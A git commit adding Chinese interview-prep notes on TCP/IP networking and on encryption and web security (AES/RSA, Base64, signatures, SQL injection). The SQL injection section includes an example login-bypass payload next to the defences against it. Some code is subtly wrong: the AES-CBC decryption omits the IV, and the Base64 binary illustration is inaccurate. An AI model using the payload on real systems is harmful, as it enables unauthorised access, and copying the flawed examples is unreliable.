refactor: rename files to Chinese and organize by category
Organized 50 interview questions into 12 categories: - 01-分布式系统 (9 files): 分布式事务, 分布式锁, 一致性哈希, CAP理论, etc. - 02-数据库 (2 files): MySQL索引优化, MyBatis核心原理 - 03-缓存 (5 files): Redis数据结构, 缓存问题, LRU算法, etc. - 04-消息队列 (1 file): RocketMQ/Kafka - 05-并发编程 (4 files): 线程池, 设计模式, 限流策略, etc. - 06-JVM (1 file): JVM和垃圾回收 - 07-系统设计 (8 files): 秒杀系统, 短链接, IM, Feed流, etc. - 08-算法与数据结构 (4 files): B+树, 红黑树, 跳表, 时间轮 - 09-网络与安全 (3 files): TCP/IP, 加密安全, 性能优化 - 10-中间件 (4 files): Spring Boot, Nacos, Dubbo, Nginx - 11-运维 (4 files): Kubernetes, CI/CD, Docker, 可观测性 - 12-面试技巧 (1 file): 面试技巧和职业规划 All files renamed to Chinese for better accessibility and organized into categorized folders for easier navigation. Generated with [Claude Code](https://claude.com/claude-code) via [Happy](https://happy.engineering) Co-Authored-By: Claude <noreply@anthropic.com> Co-Authored-By: Happy <yesreply@happy.engineering>
This commit is contained in:
577
questions/09-网络与安全/TCP_IP网络协议.md
Normal file
577
questions/09-网络与安全/TCP_IP网络协议.md
Normal file
@@ -0,0 +1,577 @@
|
||||
# TCP/IP 网络协议
|
||||
|
||||
## 问题
|
||||
|
||||
1. TCP 和 UDP 的区别是什么?
|
||||
2. TCP 三次握手和四次挥手的流程是什么?为什么需要三次握手?
|
||||
3. TCP 如何保证可靠传输?
|
||||
4. 什么是 SYN 洪水攻击?如何防范?
|
||||
5. HTTP 和 HTTPS 的区别是什么?
|
||||
6. HTTP 1.1、2.0、3.0 的演进历程和主要特性
|
||||
7. 什么是粘包和拆包?如何解决?
|
||||
8. 在实际项目中遇到过哪些网络问题?
|
||||
|
||||
---
|
||||
|
||||
## 标准答案
|
||||
|
||||
### 1. TCP vs UDP
|
||||
|
||||
#### **对比表**
|
||||
|
||||
| 特性 | TCP | UDP |
|
||||
|------|-----|-----|
|
||||
| **连接性** | 面向连接 | 无连接 |
|
||||
| **可靠性** | 可靠传输 | 不可靠 |
|
||||
| **顺序** | 保证顺序 | 不保证顺序 |
|
||||
| **速度** | 较慢 | 快 |
|
||||
| **流量控制** | 有(滑动窗口) | 无 |
|
||||
| **拥塞控制** | 有 | 无 |
|
||||
| **首部开销** | 20-60 字节 | 8 字节 |
|
||||
| **应用场景** | 文件传输、邮件、HTTP | 视频流、直播、DNS |
|
||||
|
||||
---
|
||||
|
||||
#### **TCP 特性**
|
||||
|
||||
**面向连接**:
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── SYN ───────────────→│ 建立连接
|
||||
│←────── SYN+ACK ────────────│
|
||||
│─────── ACK ───────────────→│
|
||||
│ │
|
||||
│─────── 数据 ───────────────→│
|
||||
│←─────── ACK ───────────────│
|
||||
│ │
|
||||
│─────── FIN ───────────────→│ 断开连接
|
||||
│←─────── ACK ───────────────│
|
||||
│←────── FIN ────────────────│
|
||||
│─────── ACK ───────────────→│
|
||||
```
|
||||
|
||||
**可靠传输**:
|
||||
- 确认应答(ACK)
|
||||
- 超时重传
|
||||
- 校验和
|
||||
- 序列号
|
||||
|
||||
**流量控制**:
|
||||
- 滑动窗口协议
|
||||
- 动态调整窗口大小
|
||||
|
||||
---
|
||||
|
||||
#### **UDP 特性**
|
||||
|
||||
**无连接、不可靠**:
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── 数据报 ─────────────→│ (可能丢失)
|
||||
│─────── 数据报 ─────────────→│ (可能乱序)
|
||||
│ │
|
||||
│ │
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 速度快(无连接、无确认)
|
||||
- 开销小(首部 8 字节)
|
||||
- 支持一对一、一对多、多对多
|
||||
|
||||
**应用场景**:
|
||||
- 视频直播(可容忍丢帧)
|
||||
- 在线游戏(实时性要求高)
|
||||
- DNS 查询(请求响应快)
|
||||
- VoIP(语音通话)
|
||||
|
||||
---
|
||||
|
||||
### 2. TCP 三次握手和四次挥手
|
||||
|
||||
#### **三次握手**
|
||||
|
||||
**流程**:
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── SYN=1, seq=x ──────→│ SYN_SENT
|
||||
│ │
|
||||
│←───── SYN=1, ACK=1, seq=y, ack=x+1 ───│
|
||||
│ SYN_RCVD │
|
||||
│ │
|
||||
│─────── ACK=1, seq=x+1, ack=y+1 ────→│ ESTABLISHED
|
||||
│ ESTABLISHED │
|
||||
```
|
||||
|
||||
**状态变化**:
|
||||
```
|
||||
客户端:CLOSED → SYN_SENT → ESTABLISHED
|
||||
服务器:CLOSED → LISTEN → SYN_RCVD → ESTABLISHED
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **为什么需要三次握手?**
|
||||
|
||||
**目的**:
|
||||
1. **确认双方收发能力**:
|
||||
- 第一次握手:服务端确认客户端能发
|
||||
- 第二次握手:客户端确认服务端能收能发
|
||||
- 第三次握手:服务端确认客户端能收
|
||||
|
||||
2. **防止已失效的连接请求突然又传送到服务端**:
|
||||
```
|
||||
场景:客户端发送的第一个连接请求在网络中滞留
|
||||
结果:客户端超时重发,建立连接后,滞留的请求到达
|
||||
|
||||
如果只有两次握手:
|
||||
─ 客户端发送 SYN
|
||||
─ 服务器收到,建立连接,等待数据
|
||||
─ 滞留的 SYN 到达,服务器又建立连接(错误!)
|
||||
|
||||
三次握手避免:
|
||||
─ 服务器收到滞留的 SYN,回复 SYN+ACK
|
||||
─ 客户端发现 ack 不对,丢弃(不建立连接)
|
||||
```
|
||||
|
||||
3. **同步初始序列号(ISN)**:
|
||||
- 双方协商好初始序列号
|
||||
- 保证数据的顺序和去重
|
||||
|
||||
---
|
||||
|
||||
#### **四次挥手**
|
||||
|
||||
**流程**:
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── FIN=1, seq=u ──────→│ FIN_WAIT1
|
||||
│ │ CLOSE_WAIT
|
||||
│←─────── ACK=1, seq=v, ack=u+1 ───│
|
||||
│ FIN_WAIT2 │
|
||||
│ │
|
||||
│←─────── FIN=1, ACK=1, seq=w, ack=u+1 ───│
|
||||
│ TIME_WAIT │ LAST_ACK
|
||||
│ │
|
||||
│─────── ACK=1, seq=u+1, ack=w+1 ────→│ CLOSED
|
||||
│ (等待 2MSL) │
|
||||
```
|
||||
|
||||
**状态变化**:
|
||||
```
|
||||
客户端:ESTABLISHED → FIN_WAIT1 → FIN_WAIT2 → TIME_WAIT → CLOSED
|
||||
服务器:ESTABLISHED → CLOSE_WAIT → LAST_ACK → CLOSED
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **为什么需要四次挥手?**
|
||||
|
||||
**原因**:
|
||||
- TCP 是**全双工**协议(双向传输)
|
||||
- 双方都需要关闭发送方向
|
||||
|
||||
**流程**:
|
||||
1. 客户端发送 FIN(关闭客户端→服务器方向)
|
||||
2. 服务器确认 ACK(但服务器可能还有数据要发送)
|
||||
3. 服务器发送 FIN(关闭服务器→客户端方向)
|
||||
4. 客户端确认 ACK
|
||||
|
||||
---
|
||||
|
||||
#### **为什么 TIME_WAIT 状态需要等待 2MSL?**
|
||||
|
||||
**MSL(Maximum Segment Lifetime)**:
|
||||
- 报文最大生存时间(通常 30 秒 - 2 分钟)
|
||||
- 2MSL = 1 分钟 - 4 分钟
|
||||
|
||||
**目的**:
|
||||
1. **确保最后一个 ACK 能到达**:
|
||||
- 如果 ACK 丢失,服务器会重传 FIN
|
||||
- 客户端等待 2MSL,可以重传 ACK
|
||||
|
||||
2. **让旧连接的报文自然消失**:
|
||||
- 防止旧连接的报文干扰新连接
|
||||
- 确保网络中所有旧报文都已消失
|
||||
|
||||
**问题**:
|
||||
- 大量 TIME_WAIT 会导致端口资源耗尽
|
||||
- 解决:调低 `TIME_WAIT` 时间或端口复用
|
||||
|
||||
```bash
|
||||
# Linux 调整
|
||||
net.ipv4.tcp_tw_reuse = 1 # 端口复用
|
||||
net.ipv4.tcp_tw_recycle = 0 # 关闭快速回收(有坑)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. TCP 可靠传输机制
|
||||
|
||||
#### **核心机制**
|
||||
|
||||
1. **序列号(Sequence Number)**:
|
||||
- 每个字节都有编号
|
||||
- 用于排序和去重
|
||||
|
||||
2. **确认应答(ACK)**:
|
||||
- 接收方确认收到的数据
|
||||
- ACK = 下一个期望接收的字节序号
|
||||
|
||||
```
|
||||
发送方:seq=1000, len=100
|
||||
接收方:ack=1100(期待下一个字节)
|
||||
```
|
||||
|
||||
3. **超时重传(RTO)**:
|
||||
- 发送方启动定时器
|
||||
- 超时未收到 ACK,重传数据
|
||||
|
||||
4. **快速重传**:
|
||||
- 收到 3 个重复 ACK,立即重传
|
||||
- 无需等待超时
|
||||
|
||||
```
|
||||
发送方:seq=1000, len=100
|
||||
接收方:期望 1100,但收到 1200(乱序)
|
||||
接收方:连续发送 ack=1100(3 次)
|
||||
发送方:收到 3 个重复 ack,快速重传
|
||||
```
|
||||
|
||||
5. **滑动窗口**:
|
||||
- 流量控制
|
||||
- 动态调整发送速率
|
||||
|
||||
6. **拥塞控制**:
|
||||
- 慢启动、拥塞避免、快重传、快恢复
|
||||
|
||||
---
|
||||
|
||||
### 4. SYN 洪水攻击
|
||||
|
||||
#### **攻击原理**
|
||||
|
||||
**场景**:攻击者发送大量 SYN 包,但不完成三次握手。
|
||||
|
||||
```
|
||||
攻击者 服务器
|
||||
│ │
|
||||
├─── SYN ─────────────────────→│ 分配资源
|
||||
├─── SYN ─────────────────────→│ 分配资源
|
||||
├─── SYN ─────────────────────→│ 分配资源
|
||||
├─── SYN ─────────────────────→│ 分配资源
|
||||
│ (不回复 ACK) │ 资源耗尽
|
||||
│ │ 无法服务正常用户
|
||||
```
|
||||
|
||||
**后果**:
|
||||
- 服务器维护大量 `SYN_RCVD` 连接
|
||||
- 内存资源耗尽
|
||||
- 无法响应正常用户的连接请求
|
||||
|
||||
---
|
||||
|
||||
#### **防范措施**
|
||||
|
||||
**1. SYN Cookies**:
|
||||
```bash
|
||||
# 开启 SYN Cookies
|
||||
net.ipv4.tcp_syncookies = 1
|
||||
```
|
||||
|
||||
**原理**:
|
||||
- 不分配资源
|
||||
- 计算 Cookie 并编码在 SYN+ACK 的初始序列号中
|
||||
- 客户端回复 ACK 时验证 Cookie
|
||||
|
||||
**2. 增加 SYN 队列**:
|
||||
```bash
|
||||
net.ipv4.tcp_max_syn_backlog = 8192
|
||||
```
|
||||
|
||||
**3. 缩短超时时间**:
|
||||
```bash
|
||||
net.ipv4.tcp_synack_retries = 2
|
||||
```
|
||||
|
||||
**4. 防火墙**:
|
||||
- 限制单个 IP 的连接数
|
||||
- 检测异常流量并拦截
|
||||
|
||||
---
|
||||
|
||||
### 5. HTTP vs HTTPS
|
||||
|
||||
#### **对比**
|
||||
|
||||
| 特性 | HTTP | HTTPS |
|
||||
|------|------|-------|
|
||||
| **协议** | 应用层 | 应用层 + 安全层(SSL/TLS) |
|
||||
| **端口** | 80 | 443 |
|
||||
| **加密** | 明文传输 | 加密传输 |
|
||||
| **证书** | 不需要 | 需要 CA 证书 |
|
||||
| **性能** | 快 | 较慢(TLS 握手) |
|
||||
| **SEO** | 无优惠 | 搜索引擎优先排名 |
|
||||
|
||||
---
|
||||
|
||||
#### **HTTPS 工作流程**
|
||||
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── ClientHello ────────────→│ (支持的加密套件)
|
||||
│ │
|
||||
│←────── ServerHello ─────────────│ (选择的加密套件 + 证书)
|
||||
│←────── Certificate ─────────────│
|
||||
│ │
|
||||
│─────── ClientKeyExchange ─────→│ (生成随机数)
|
||||
│─────── ChangeCipherSpec ───────→│ (之后消息加密)
|
||||
│─────── Finished ───────────────→│
|
||||
│ │
|
||||
│←────── ChangeCipherSpec ────────│
|
||||
│←────── Finished ────────────────│
|
||||
│ │
|
||||
│══════ 加密通信 ══════════════════│
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **HTTPS 的安全性**
|
||||
|
||||
1. **数据加密**:防止中间人窃听
|
||||
2. **数据完整性**:防止数据被篡改
|
||||
3. **身份认证**:防止钓鱼网站
|
||||
|
||||
---
|
||||
|
||||
### 6. HTTP 版本演进
|
||||
|
||||
#### **HTTP/1.0**
|
||||
|
||||
**特点**:
|
||||
- 每个请求都需要新的 TCP 连接
|
||||
- 无状态、无连接
|
||||
|
||||
**问题**:
|
||||
- 性能差(频繁建立连接)
|
||||
- 队头阻塞
|
||||
|
||||
---
|
||||
|
||||
#### **HTTP/1.1**
|
||||
|
||||
**改进**:
|
||||
1. **持久连接**:`Connection: keep-alive`
|
||||
2. **管道化(Pipelining)**:可发送多个请求
|
||||
3. **分块传输**:`Transfer-Encoding: chunked`
|
||||
4. **缓存**:更强的缓存控制
|
||||
|
||||
**问题**:
|
||||
- 队头阻塞仍然存在
|
||||
- 请求串行执行
|
||||
|
||||
---
|
||||
|
||||
#### **HTTP/2.0**
|
||||
|
||||
**改进**:
|
||||
1. **二进制协议**:不再是纯文本
|
||||
2. **多路复用**:一个 TCP 连接并发多个请求
|
||||
3. **头部压缩**:HPACK 算法
|
||||
4. **服务端推送**:Server Push
|
||||
|
||||
**多路复用**:
|
||||
```
|
||||
HTTP/1.1:
|
||||
请求1 → ━━━ 连接1 ━━━ → 响应1
|
||||
请求2 → ━━━ 连接2 ━━━ → 响应2
|
||||
请求3 → ━━━ 连接3 ━━━ → 响应3
|
||||
|
||||
HTTP/2.0:
|
||||
请求1 ┓
|
||||
请求2 ┣━━━━ 单连接 ━━━→ ┳ 响应1
|
||||
请求3 ┛ ┻ 响应2
|
||||
响应3
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **HTTP/3.0(QUIC)**
|
||||
|
||||
**改进**:
|
||||
1. **基于 UDP**:不再是 TCP
|
||||
2. **解决队头阻塞**:流级别隔离
|
||||
3. **更快握手**:0-RTT
|
||||
4. **连接迁移**:IP 变化不影响连接
|
||||
|
||||
**架构**:
|
||||
```
|
||||
HTTP/3.0
|
||||
↓
|
||||
QUIC(UDP)
|
||||
↓
|
||||
加密、可靠传输、流控制
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 7. 粘包和拆包
|
||||
|
||||
#### **问题**
|
||||
|
||||
**TCP 是字节流协议**,无消息边界:
|
||||
|
||||
```
|
||||
发送方发送两个包:
|
||||
┌──────┐ ┌──────┐
|
||||
│ 包1 │ │ 包2 │
|
||||
└──────┘ └──────┘
|
||||
|
||||
接收方可能收到:
|
||||
1. 正常:┌──────┐┌──────┐
|
||||
2. 粘包:┌──────┐┌──────┐(两个包粘在一起)
|
||||
3. 拆包:┌────┐ ┌──┐┌──┐┌────┐(包被拆散)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **解决方案**
|
||||
|
||||
**1. 固定长度**:
|
||||
```
|
||||
每个包固定 100 字节
|
||||
|
||||
优点:简单
|
||||
缺点:浪费空间(短消息)
|
||||
```
|
||||
|
||||
**2. 分隔符**:
|
||||
```
|
||||
每个包以 \n 结束
|
||||
|
||||
优点:实现简单
|
||||
缺点:内容中不能有分隔符
|
||||
```
|
||||
|
||||
**3. 长度字段(推荐)**:
|
||||
```
|
||||
┌────┬──────────┐
|
||||
│长度│ 数据 │
|
||||
└────┴──────────┘
|
||||
|
||||
实现:Netty 的 LengthFieldBasedFrameDecoder
|
||||
```
|
||||
|
||||
**Netty 示例**:
|
||||
```java
|
||||
// 服务端
|
||||
public class Server {
|
||||
public static void main(String[] args) {
|
||||
EventLoopGroup bossGroup = new NioEventLoopGroup();
|
||||
EventLoopGroup workerGroup = new NioEventLoopGroup();
|
||||
|
||||
try {
|
||||
ServerBootstrap bootstrap = new ServerBootstrap();
|
||||
bootstrap.group(bossGroup, workerGroup)
|
||||
.channel(NioServerSocketChannel.class)
|
||||
.childHandler(new ChannelInitializer<SocketChannel>() {
|
||||
@Override
|
||||
protected void initChannel(SocketChannel ch) {
|
||||
// 解决粘包拆包:长度字段解码器
|
||||
ch.pipeline().addLast(new LengthFieldBasedFrameDecoder(
|
||||
1024 * 1024, // 最大帧长度
|
||||
4, // 长度字段偏移量
|
||||
4, // 长度字段长度
|
||||
0, // 长度调整值
|
||||
4 // 剥离的字节数
|
||||
));
|
||||
ch.pipeline().addLast(new MessageHandler());
|
||||
}
|
||||
});
|
||||
|
||||
bootstrap.bind(8080).sync().channel().closeFuture().sync();
|
||||
} finally {
|
||||
bossGroup.shutdownGracefully();
|
||||
workerGroup.shutdownGracefully();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 消息编解码
|
||||
public class MessageEncoder extends MessageToByteEncoder<Message> {
|
||||
@Override
|
||||
protected void encode(ChannelHandlerContext ctx, Message msg, ByteBuf out) {
|
||||
byte[] data = msg.getBody().getBytes();
|
||||
out.writeInt(data.length); // 长度字段
|
||||
out.writeBytes(data); // 数据字段
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 8. 实际项目经验
|
||||
|
||||
#### **案例 1:TCP 长连接异常断开**
|
||||
|
||||
**问题**:
|
||||
- 客户端崩溃,服务器未收到 FIN
|
||||
- 服务器维护大量死连接
|
||||
|
||||
**解决**:
|
||||
```java
|
||||
// 启用 TCP Keep-Alive
|
||||
socket.setKeepAlive(true);
|
||||
|
||||
// 应用层心跳
|
||||
@Scheduled(fixedRate = 30000)
|
||||
public void sendHeartbeat() {
|
||||
channel.writeAndFlush(new HeartbeatMessage());
|
||||
}
|
||||
|
||||
// 超时断开
|
||||
ch.pipeline().addLast(new IdleStateHandler(60, 0, 0, TimeUnit.SECONDS));
|
||||
ch.pipeline().addLast(new HeartbeatHandler());
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **案例 2:HTTPS 性能优化**
|
||||
|
||||
**问题**:
|
||||
- HTTPS 握手耗时 200ms+
|
||||
- 高并发下性能差
|
||||
|
||||
**解决**:
|
||||
1. **HTTP/2 多路复用**
|
||||
2. **TLS False Start**:减少 1 个 RTT
|
||||
3. **Session Resumption**:恢复会话
|
||||
4. **HSTS**:强制 HTTPS,避免重定向
|
||||
|
||||
---
|
||||
|
||||
### 9. 阿里 P7 加分项
|
||||
|
||||
**深度理解**:
|
||||
- 理解 TCP 的拥塞控制算法( Reno、Cubic、BBR)
|
||||
- 理解 QUIC 协议的设计原理
|
||||
- 理解 TLS 1.3 的改进(0-RTT、加密握手)
|
||||
|
||||
**实战经验**:
|
||||
- 有处理网络抖动导致的连接不稳定问题
|
||||
- 有 TCP 参数调优经验
|
||||
- 有 HTTPS 性能优化经验
|
||||
|
||||
**架构能力**:
|
||||
- 能设计高性能的网络通信框架
|
||||
- 能设计跨地域的网络架构
|
||||
- 有网络监控和故障排查经验
|
||||
|
||||
**技术选型**:
|
||||
- 了解 gRPC、Thrift 等 RPC 框架
|
||||
- 了解 Netty、Mina 等网络框架
|
||||
- 能根据业务特点选择合适的协议
|
||||
617
questions/09-网络与安全/加密与安全.md
Normal file
617
questions/09-网络与安全/加密与安全.md
Normal file
@@ -0,0 +1,617 @@
|
||||
# 加密与安全
|
||||
|
||||
## 问题
|
||||
|
||||
1. 对称加密和非对称加密的区别是什么?
|
||||
2. Base64 是加密吗?为什么?
|
||||
3. 什么是数字签名?如何防止数据篡改?
|
||||
4. HTTPS 中的 TLS 握手过程是怎样的?
|
||||
5. 什么是中间人攻击?如何防范?
|
||||
6. SQL 注入和 XSS 攻击的原理和防范措施?
|
||||
7. 密码存储的最佳实践是什么?
|
||||
8. 在实际项目中如何保证数据安全?
|
||||
|
||||
---
|
||||
|
||||
## 标准答案
|
||||
|
||||
### 1. 对称加密 vs 非对称加密
|
||||
|
||||
#### **对称加密**
|
||||
|
||||
**特点**:加密和解密使用同一个密钥。
|
||||
|
||||
```
|
||||
加密:明文 + 密钥 → 密文
|
||||
解密:密文 + 密钥 → 明文
|
||||
```
|
||||
|
||||
**常见算法**:
|
||||
- **AES**(Advanced Encryption Standard):推荐
|
||||
- **DES**(Data Encryption Standard):已过时(密钥太短)
|
||||
- **3DES**:DES 的改进,但速度慢
|
||||
- **RC4**:已不安全
|
||||
|
||||
**Java 示例**:
|
||||
```java
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.KeyGenerator;
|
||||
import javax.crypto.SecretKey;
|
||||
import java.util.Base64;
|
||||
|
||||
public class AESExample {
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 生成密钥
|
||||
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
|
||||
keyGen.init(256); // AES-256
|
||||
SecretKey secretKey = keyGen.generateKey();
|
||||
|
||||
// 加密
|
||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||||
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
|
||||
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
|
||||
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
|
||||
|
||||
// 解密
|
||||
cipher.init(Cipher.DECRYPT_MODE, secretKey);
|
||||
byte[] decrypted = cipher.doFinal(encrypted);
|
||||
System.out.println("解密:" + new String(decrypted));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 速度快(比非对称加密快 100-1000 倍)
|
||||
- 适合加密大量数据
|
||||
|
||||
**缺点**:
|
||||
- 密钥分发困难(如何安全地共享密钥?)
|
||||
|
||||
---
|
||||
|
||||
#### **非对称加密**
|
||||
|
||||
**特点**:加密和解密使用不同的密钥(公钥和私钥)。
|
||||
|
||||
```
|
||||
公钥加密:明文 + 公钥 → 密文
|
||||
私钥解密:密文 + 私钥 → 明文
|
||||
|
||||
或者:
|
||||
私钥签名:明文 + 私钥 → 签名
|
||||
公钥验签:签名 + 公钥 → 验证
|
||||
```
|
||||
|
||||
**常见算法**:
|
||||
- **RSA**:最常用
|
||||
- **ECC**(椭圆曲线加密):密钥更短,速度更快
|
||||
- **DSA**:数字签名算法
|
||||
|
||||
**Java 示例**:
|
||||
```java
|
||||
import java.security.*;
|
||||
import javax.crypto.Cipher;
|
||||
import java.util.Base64;
|
||||
|
||||
public class RSAExample {
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 生成密钥对
|
||||
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
|
||||
keyGen.initialize(2048);
|
||||
KeyPair keyPair = keyGen.generateKeyPair();
|
||||
PublicKey publicKey = keyPair.getPublic();
|
||||
PrivateKey privateKey = keyPair.getPrivate();
|
||||
|
||||
// 公钥加密
|
||||
Cipher cipher = Cipher.getInstance("RSA");
|
||||
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
||||
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
|
||||
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
|
||||
|
||||
// 私钥解密
|
||||
cipher.init(Cipher.DECRYPT_MODE, privateKey);
|
||||
byte[] decrypted = cipher.doFinal(encrypted);
|
||||
System.out.println("解密:" + new String(decrypted));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 无需安全分发密钥(公钥可以公开)
|
||||
- 可用于数字签名
|
||||
|
||||
**缺点**:
|
||||
- 速度慢(比对称加密慢 100-1000 倍)
|
||||
- 不适合加密大量数据
|
||||
|
||||
---
|
||||
|
||||
#### **混合加密(HTTPS 使用)**
|
||||
|
||||
```
|
||||
1. 使用非对称加密协商对称密钥
|
||||
2. 使用对称密钥加密数据
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 结合两者优点(安全 + 速度)
|
||||
|
||||
---
|
||||
|
||||
### 2. Base64 是加密吗?
|
||||
|
||||
**答案:不是!**
|
||||
|
||||
**Base64 是编码,不是加密。**
|
||||
|
||||
**目的**:
|
||||
- 将二进制数据转换为 ASCII 字符串
|
||||
- 方便在文本协议中传输(如 HTTP、Email)
|
||||
|
||||
**原理**:
|
||||
```
|
||||
二进制:01001000 0110101 01011011
|
||||
Base64:SGVsbG8=
|
||||
|
||||
编码表(64 个字符):
|
||||
A-Z (26) + a-z (26) + 0-9 (10) + + / (2) = 64
|
||||
```
|
||||
|
||||
**特点**:
|
||||
- 可逆(可解码)
|
||||
- 无密钥(任何人都能解码)
|
||||
- 数据会增大 33%
|
||||
|
||||
**示例**:
|
||||
```java
|
||||
import java.util.Base64;
|
||||
|
||||
public class Base64Example {
|
||||
public static void main(String[] args) {
|
||||
String original = "Hello World";
|
||||
|
||||
// 编码
|
||||
String encoded = Base64.getEncoder().encodeToString(original.getBytes());
|
||||
System.out.println("编码:" + encoded); // SGVsbG8gV29ybGQ=
|
||||
|
||||
// 解码
|
||||
String decoded = new String(Base64.getDecoder().decode(encoded));
|
||||
System.out.println("解码:" + decoded); // Hello World
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**错误用法**:
|
||||
```java
|
||||
// ❌ 用 Base64 存储密码(不安全)
|
||||
String password = "123456";
|
||||
String encoded = Base64.getEncoder().encodeToString(password.getBytes());
|
||||
// 存储到数据库
|
||||
// 攻击者可以直接解码!
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. 数字签名
|
||||
|
||||
#### **原理**
|
||||
|
||||
数字签名用于验证:
|
||||
1. **完整性**:数据未被篡改
|
||||
2. **身份认证**:发送者确实是声称的人
|
||||
3. **不可抵赖**:发送者无法否认发送过
|
||||
|
||||
**流程**:
|
||||
```
|
||||
发送方(签名):
|
||||
1. 对原文计算哈希:hash = SHA256(原文)
|
||||
2. 用私钥加密哈希:signature = RSA_Encrypt(hash, 私钥)
|
||||
3. 发送:原文 + signature
|
||||
|
||||
接收方(验签):
|
||||
1. 对原文计算哈希:hash1 = SHA256(原文)
|
||||
2. 用公钥解密签名:hash2 = RSA_Decrypt(signature, 公钥)
|
||||
3. 对比 hash1 和 hash2
|
||||
- 相同 → 签名有效
|
||||
- 不同 → 数据被篡改
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **Java 实现**
|
||||
|
||||
```java
|
||||
import java.security.*;
|
||||
import java.util.Base64;
|
||||
|
||||
public class DigitalSignatureExample {
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 生成密钥对
|
||||
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
|
||||
keyGen.initialize(2048);
|
||||
KeyPair keyPair = keyGen.generateKeyPair();
|
||||
PrivateKey privateKey = keyPair.getPrivate();
|
||||
PublicKey publicKey = keyPair.getPublic();
|
||||
|
||||
// 待签名数据
|
||||
String data = "重要合同内容";
|
||||
|
||||
// 签名
|
||||
Signature signature = Signature.getInstance("SHA256withRSA");
|
||||
signature.initSign(privateKey);
|
||||
signature.update(data.getBytes());
|
||||
byte[] signatureBytes = signature.sign();
|
||||
System.out.println("签名:" + Base64.getEncoder().encodeToString(signatureBytes));
|
||||
|
||||
// 验签
|
||||
signature.initVerify(publicKey);
|
||||
signature.update(data.getBytes());
|
||||
boolean isValid = signature.verify(signatureBytes);
|
||||
System.out.println("验签结果:" + isValid);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **实际应用**
|
||||
|
||||
1. **软件签名**:验证软件来源
|
||||
2. **代码签名**:防止代码被篡改
|
||||
3. **PDF 签名**:电子合同
|
||||
4. **JWT(JSON Web Token)**:API 认证
|
||||
|
||||
```java
|
||||
// JWT 示例
|
||||
String token = Jwts.builder()
|
||||
.setSubject("user123")
|
||||
.signWith(Keys.hmacShaKeyFor(secretKey), SignatureAlgorithm.HS256)
|
||||
.compact();
|
||||
|
||||
// 验证 JWT
|
||||
Claims claims = Jwts.parserBuilder()
|
||||
.setSigningKey(secretKey)
|
||||
.build()
|
||||
.parseClaimsJws(token)
|
||||
.getBody();
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 4. SQL 注入攻击
|
||||
|
||||
#### **原理**
|
||||
|
||||
攻击者在输入中注入恶意 SQL 代码。
|
||||
|
||||
**示例**:
|
||||
```java
|
||||
// ❌ 不安全的代码(拼接 SQL)
|
||||
String username = request.getParameter("username");
|
||||
String password = request.getParameter("password");
|
||||
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
|
||||
|
||||
// 攻击者输入:
|
||||
username = "admin' OR '1'='1";
|
||||
password = "anything"
|
||||
|
||||
// 实际执行的 SQL:
|
||||
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
|
||||
// 结果:永远为真,绕过密码验证!
|
||||
```
|
||||
|
||||
**危害**:
|
||||
- 绕过认证
|
||||
- 窃取数据
|
||||
- 删除数据
|
||||
- 提升权限
|
||||
|
||||
---
|
||||
|
||||
#### **防范措施**
|
||||
|
||||
**1. 使用预编译语句(PreparedStatement)**:
|
||||
|
||||
```java
|
||||
// ✅ 安全代码
|
||||
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
|
||||
PreparedStatement stmt = connection.prepareStatement(sql);
|
||||
stmt.setString(1, username);
|
||||
stmt.setString(2, password);
|
||||
ResultSet rs = stmt.executeQuery();
|
||||
```
|
||||
|
||||
**原理**:参数化查询,SQL 结构固定,参数不会被解析为 SQL 代码。
|
||||
|
||||
---
|
||||
|
||||
**2. 输入验证**:
|
||||
|
||||
```java
|
||||
// 验证用户名格式
|
||||
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
|
||||
throw new IllegalArgumentException("用户名格式不正确");
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**3. 最小权限原则**:
|
||||
|
||||
```sql
|
||||
-- 应用用户只授予必要权限
|
||||
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
|
||||
